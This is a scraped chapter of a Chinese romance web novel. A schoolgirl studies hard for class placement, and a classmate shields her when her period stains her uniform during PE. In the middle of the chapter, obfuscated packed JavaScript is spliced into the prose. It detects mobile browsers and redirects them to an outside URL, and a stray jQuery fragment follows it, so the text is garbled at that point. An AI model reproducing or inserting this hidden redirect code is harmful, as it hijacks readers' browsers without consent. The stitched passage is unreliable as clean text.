68. 第 68 章

作品:《雏鸟情节

    周一去学校,果然和姜畔预想的差不多。


    一路上,总感觉有视线若有若无地飘过来,偶尔还能听到窃窃私语和意味不明的笑。


    但就像林子琪说的,大概程白真的提前打过招呼,没有人敢真的凑到她面前来问什么。


    那些目光和议论也只停留在低等阶段,没发展成实质性的骚扰。


    姜畔绷着小脸,目不斜视走进教室。


    她的座位在中间排,刚放下书包,还没坐稳,就感觉后脑勺被一道视线盯着。


    不用回头也知道是谁。


    她深吸一口气,尽量忽略掉,拿出早读要用的英语书。


    后面传来一声极低的轻笑。


    姜畔握着书页的手指紧了紧。


    她实在没忍住,回过头。


    程白果然正趴在桌子上,侧着脸,眼睛一动不动的看着她,见她回头,笑得更欢了,还冲她飞快眨了下眼。


    姜畔平生第一次,对着一个人,明明白白地翻了个白眼,然后唰地一下转了回去。


    那感觉,嫌弃意味十足。


    后面顿时传来更明显的憋笑声,还有桌子被撞到的轻微响动,估计是那家伙乐得直抖。


    神经病!


    姜畔在心里骂了一句,用力翻开英语书,试图把这人屏蔽掉。


    她知道自己现在最该做什么。


    高二下学期了,黑板旁边的倒计时牌数字一天天变小。


    暑假过后,一开学就是高三,学校会按照高二期末成绩重新洗牌,划分出尖子班、重点班和普通班。


    那是她的目标。


    只要考进尖子班,学习的压力和节奏自然会把她和程白彻底隔开。


    到时候,不同的楼层,不同的教室,不同的圈子,自然就清净了。


    她不像林子琪,底子扎实,天生最强大脑,随便听听课就能考个不错的分数。


    她知道自己脚下空着,只能靠笨办法。


    于是,姜畔把自己所有的时间都压在了学习上。


    课间十分钟,别人打闹说笑,她不是在做题就是在整理错题。


    午休时间,她快速吃完饭就回教室继续看书。


    晚上回家,雷打不动地学习到深夜。


    李砚安给她熬的中药,她每天都按时喝,苦死个人,但不知道是心理作用还是真的有效,她确实感觉手脚没那么冰凉了,白天精神也集中了些,不像以前那么容易犯困。


    周末李砚安不值班,又带她去看了那次提到的老中医。


    老大夫眯着眼给她号了脉,说的和医院医生差不多,主要还是脾胃弱,吸收不好,气血跟不上。又开了一堆健脾胃的药,嘱咐一定要按时吃饭,细嚼慢咽。


    李砚安拎着一大包药回家,厨房里的炖锅就再也没闲过。


    排骨汤、鸡汤、鱼汤变着花样来。


    姜畔的饭碗里,肉和菜总是堆得冒尖。


    她吃着那些营养均衡的饭菜,喝着苦得咧嘴的药,日子就这样一天天过去。


    窗外的梧桐树叶从嫩绿变成深绿,蝉鸣慢了。


    期中考试的成绩下来了。


    姜畔挤在人群里看榜。


    她从后面往前找,心跳得有点快。


    三百多没有。


    二百八十没有。


    二百五十没有。


    她的目光急切地向上扫。


    终于,在第四百七十二名的位置上,她看到了自己的名字。


    进了前五百。


    一股无法言说的喜悦上来,让她脸颊都有些发烫。


    林子琪比她更激动,从后面扑过来抱住她:“姜畔!你太厉害了吧!进步这么快!照这个速度,期末冲进前三百大有希望啊!”


    姜畔不好意思笑了笑。


    “咱们学校,按照往年的排名算,只要能稳定在前两百名,考个一本就挺有把握的了。”


    林子琪挽着她的胳膊往回走,认真给她分析。


    前两百。


    姜畔在心里默念了一遍这个数字。


    目标变得更清晰,也更紧迫了。


    她还要更努力才行。


    从此,教室、图书馆、家,三点一线的生活更加雷打不动。


    她拼命汲取着知识,解题的本子越摞越高,笔芯用完了一根又一根。


    李砚安有时半夜起来喝水,看到她房间透出的灯光,会敲门提醒她早点睡。


    姜畔总是嘴里应着,眼睛却不离书桌。


    李砚安拿她没办法,知道小姑娘努力,去厨房给她热杯牛奶放在桌上,自己去睡觉。


    城市的霓虹熄灭,星星挂在天幕。


    台灯下,少女伏案的背影执拗,仿佛有无限的力量从那具小小的身体里生长出来,支撑着她,向着一个明确的光亮之处,一点点,艰难又坚定的走去。


    她知道,那条路或许很长,也很难走。


    但这一次,她不是一个人,也不必再偷摸抢骗。


    她可以堂堂正正,用自己的力气,走过去。


    她自己掌握着命运的风帆。


    *


    时间像是被追着,嗖嗖往前窜。


    要想在期末冲进尖子班,按照林子琪打听来的消息,年级排名至少得挤进前一百八。


    一百八十名。


    姜畔学得更狠了。


    每一分钟都被榨得干干净净,那本厚厚的习题集都快被她翻烂了,上面密密麻麻全是笔迹。李砚安熬的中药,再苦她也灌下去,碗里的饭也总是堆得尖尖的,她吃得干干净净,身体似乎真的在一点点积蓄力量,虽然看起来还是瘦,但脸色比以前红润了些。


    这天下午最后一节是体育课。


    五月的阳光已经有了点力度,晒得塑胶跑道都有味儿。


    体育老师看着面前这群蔫头耷脑,满心惦记着回教室刷题的高二生,有点不爽。


    “都没吃饭啊?跑个步跟要了命似的!就你们这精神状态,明年高三怎么办?再加一组蛙跳,五十米!都给我跳起来,活动开筋骨,脑子才转得快!”


    哀嚎声四起,但没人敢反抗。


    林子琪唉声叹气蹲下,跟姜畔嘀咕:“老刘更年期了吧……跳完我还能拿起笔算数我叫他爹……”


    姜畔也想跟着她一起骂,但是在没力气,只是调整了一下呼吸,跟着队伍开始蛙跳。


    动作笨拙,一下一下往前蹦。


    大腿很快就开始酸胀发热,她咬着牙,没停。


    旁边已经有同学偷懒,跳几下就走几步。


    林子琪跳到一半就瘫坐在跑道边上,喘得不行,冲姜畔摆手。


    姜畔坚持跳完了全程。


    停下来的时候,只觉得两条腿又酸又软,还微微发抖。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694876|186213||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    后半节体育课自由活动,她坐在树荫下,感觉那股酸软劲儿非但没缓解,反而蔓延到了全身,懒洋洋的,提不起什么精神。


    肚子也有点隐隐的不舒服,说不上来是胀还是坠。


    下课铃响,她拖着腿去拿书包。


    林子琪有事先走了。


    姜畔感觉胃口缺缺,一点也不想折腾回家吃饭,干脆去了学校食堂,随便买了份炒饭,扒拉了几口,味同嚼蜡。


    吃完走出食堂,傍晚的风吹过来,让她忽然觉得有点晕,脚下轻飘飘的,使不上劲。


    脸色可能也不太好看。


    是低血糖了吗?


    她想着,得回教室趴一会儿。


    她埋着头,加快脚步往教学楼走。


    视线有点模糊,没留意前面拐角晃出来个人。


    程白刚打完球,一身汗,抱着篮球和几个哥们儿嘻嘻哈哈地往外走,一抬头就看见姜畔脚步虚浮地过来,脸色白得有点吓人,眼神都有点发直,眼看就要撞上。


    “哎!”他下意识喊了一声,伸手就扶住了她的胳膊,“你怎么回事?路都不看……”


    话没说完,他忽然顿住了,眼神飞快地往她身后扫了一眼,脸颊脖子以肉眼可见的速度红透了。


    “你……你……”


    他平时挺利索的一个人,这会儿愣是挤不出一句完整的话。


    姜畔被他这突如其来的反应弄懵了,胳膊被他抓着,有点恼,又因为不舒服而无力:“你干嘛?放开。”


    她挣扎了一下想继续走。


    程白却没让她走,把自己刚脱下来的校服外套塞到了她手里,“那、那个……你……你先围着吧……”


    姜畔没接过来,完全莫名其妙:“我不冷……”


    她下意识回头,顺着程白刚才瞥过的方向看了一眼。


    浅蓝色的校服裤子上,臀部偏后的位置,赫然印着一小片已经有些发暗的红色痕迹。


    像是一道小小的闪电劈中了脑海,姜畔瞬间明白了自己的疲惫和肚子的不适感源于何处。


    它来了。


    在这个最猝不及防的时候。


    好尴尬……


    她低下头,把程白的校服外套胡乱围在腰间,挡住那块痕迹,干巴巴挤出一句:“……不用你管。”


    说完,她就要往教学楼里冲。


    程白看着她那煞白的脸色和虚浮的脚步,实在不放心,犹豫了一下,还是跟了上去,隔着两三步的距离,不远不近跟着,想说什么又不知道该怎么开口。


    姜畔能感觉到他跟在后头,心里更乱了,脚下的步子越快,那股虚弱感就越明显。


    走到教学楼门口的台阶下,她停住脚步,转回身。


    程白没防备她也突然停下,差点撞上,也赶紧刹住脚,有点无措看着她。


    傍晚的阳光是金色的,透过香樟树的叶子洒下来,落在少年泛红的脸上,和少女染着红晕的耳尖上。


    姜畔垂着眼睫,盯着地面,硬邦邦地回了句:“……谢谢。”


    说完,她立刻转身,直奔教学楼一楼的卫生间。


    程白愣在原地,看着她仓皇逃开的背影。


    他抬手,不太好意思地摸了摸鼻尖,嘴角却一点一点翘了起来。


    嘿。


    她头一回跟他说谢谢。


    也不是块石头嘛。